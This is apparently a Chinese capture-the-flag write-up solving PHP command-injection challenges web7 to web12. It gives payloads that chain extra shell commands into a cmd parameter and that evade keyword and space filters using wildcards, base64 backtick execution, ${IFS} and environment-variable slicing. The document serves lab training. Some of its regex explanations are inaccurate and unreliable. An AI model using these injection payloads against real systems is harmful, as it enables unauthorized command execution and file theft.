web7-12
web7
参数值可控
开启环境
发现此目录已有flag.php文件
之后我们只需要cat就好,如下图post得出flag(要查看源代码,flag在渲染时忽略了)
flag=flag{dc8c29a4-b2fe-4941-8979-f99284fb5660}
web8
命令可控
开启环境后,同样是代码
在Unix和类Unix操作系统的shell中,>/dev/null 2>&1 是一种常见的重定向操作,它用于丢弃命令的输出。下面是每个部分的含义:
是标准输出重定向操作符,它将命令的输出重定向到指定的文件或设备。
/dev/null
是一个特殊的设备文件,它代表一个“黑洞”,任何写入到这个文件的数据都会被丢弃,不会保存。2>
是标准错误输出重定向操作符,它将错误输出重定向到指定的文件或设备。&1
是一个引用,它表示将标准错误输出重定向到标准输出的当前位置。
所以,>/dev/null 2>&1 这个组合表示:
命令的标准输出被丢弃,不显示在终端上。
命令的标准错误输出也被丢弃,不显示在终端上。
这通常用于执行一些不需要查看输出结果的命令,或者在脚本中避免输出干扰用户。
这边含义即为不给回显
所以我们用||
,&&
,;
来短路
找到flag后,使用cmd=cat flag.php||whoami
,但是没有回显
因为如果使用 cat 命令同时结合 >/dev/null 2>&1,那么 cat 的输出和错误信息都会被隐藏,如下所示:
cat filename.txt > /dev/null 2>&1
这个命令会尝试显示 filename.txt 的内容,但是所有的输出(包括标准输出和标准错误输出)都会被重定向到 /dev/null,因此在终端上不会有任何显示。
于是我们使用tac
已知可以得出答案
- cmd=tac flag.php;whoami
- cmd=tac flag.php||whoami
cmd=tac flag.php%26%26whoami
找到flagflag{8ee1c409-55fa-4a79-bb47-1cbfc5932e84}
用cat需要再看cirl+u,也是可以得到的
web9
开启环境
发现过滤了
- /flag:匹配包含 "flag" 文本的字符串。
- |\&:匹配 "&" 字符。注意,由于 "&" 在正则表达式中是一个特殊字符,表示逻辑 "和" 操作,所以它前面需要一个反斜杠 \ 来转义。
- |\;:匹配 ";" 字符。同样,";" 也是一个特殊字符,用于分隔命令,在正则表达式中需要被转义。
- /i:表示不区分大小写,所以 "Flag"、"FLAG"、"&"、"&" 和 ";" 都会被匹配。
找到flag
于是通过通配符构造
- cmd=tac f?ag.php||whoami
得到flag,当然还有很多写法包括
- cmd=tac fl?g.php||whoami
- cmd=tac f*g.php||whoami
- cmd=tac fl*g.php||whoami
- 等等
web10
开启环境
preg_match("/flag|\&|\;|cat|tac|nl|more|od/i",$cmd)
以下字符将会被过滤
- "flag"(不区分大小写)
- "&"(逻辑与符号,需要转义)
- ";"(命令分隔符,需要转义)
- "cat"(文件内容查看命令)
- "tac"(逆序查看文件内容命令)
- "nl"(编号行命令)
- "more"(分页显示命令)
- "od"(八进制转储命令)
使用拼接方法
得到dGFjIGZsYWcucGhw
echo 'dGFjIGZsYWcucGhw'|base64 -d
继续构造
`echo 'dGFjIGZsYWcucGhw'|base64 -d`
得到flag
当然也可以用到拼接
web11
开启环境
可以发现本题过滤了
- flag:匹配文本 "flag",不区分大小写。
- \&:匹配 "&" 字符,由于 "&" 在正则表达式中是一个特殊字符,需要使用反斜杠 \ 来转义。
- \;:匹配 ";" 字符,同样需要转义。
- (空格):匹配一个空格字符。
所以通过<> ${IFS}绕过,用通配符进行代替即可
cmd=tac${IFS}fl?g.php也可以
flag{44e421c9-8f6a-4574-9fab-c98e054a245d}
web12
开启环境
本题会过滤
flag:匹配文本 "flag",不区分大小写。
- \&:匹配 "&" 字符,需要转义因为它在正则表达式中是一个特殊字符。
- \;:匹配 ";" 字符,同样需要转义。
- (空格):匹配一个空格字符,这里没有转义,因为空格在正则表达式中不是特殊字符。
- IFS:匹配文本 "IFS",不区分大小写。在 shell 脚本中,IFS(Internal Field Separator)是内部字段分隔符。
- \>:匹配 ">" 字符,需要转义因为它在正则表达式中是一个特殊字符,表示量词的结束。
- \<:匹配 "<" 字符,需要转义因为它在正则表达式中是一个特殊字符,表示量词的开始。
- \x09:匹配一个水平制表符(Tab),\x09 是 Tab 的十六进制表示。
tacctf=a<>c echo ${ctf:1:2} $
fl?g.php
利用env打开环境变量借用已有的变量,找到已有变量中空格
所以读取${PHP_EXTRA_CONFIGURE_ARGS}
即可
空格在第十二个
测试成功,直接更改payload
cmd=tac${PHP_EXTRA_CONFIGURE_ARGS:12:1}fl*
如此构造得到flag
flag{c3cd5cdc-57a5-4946-8a97-e8df385a7cc2}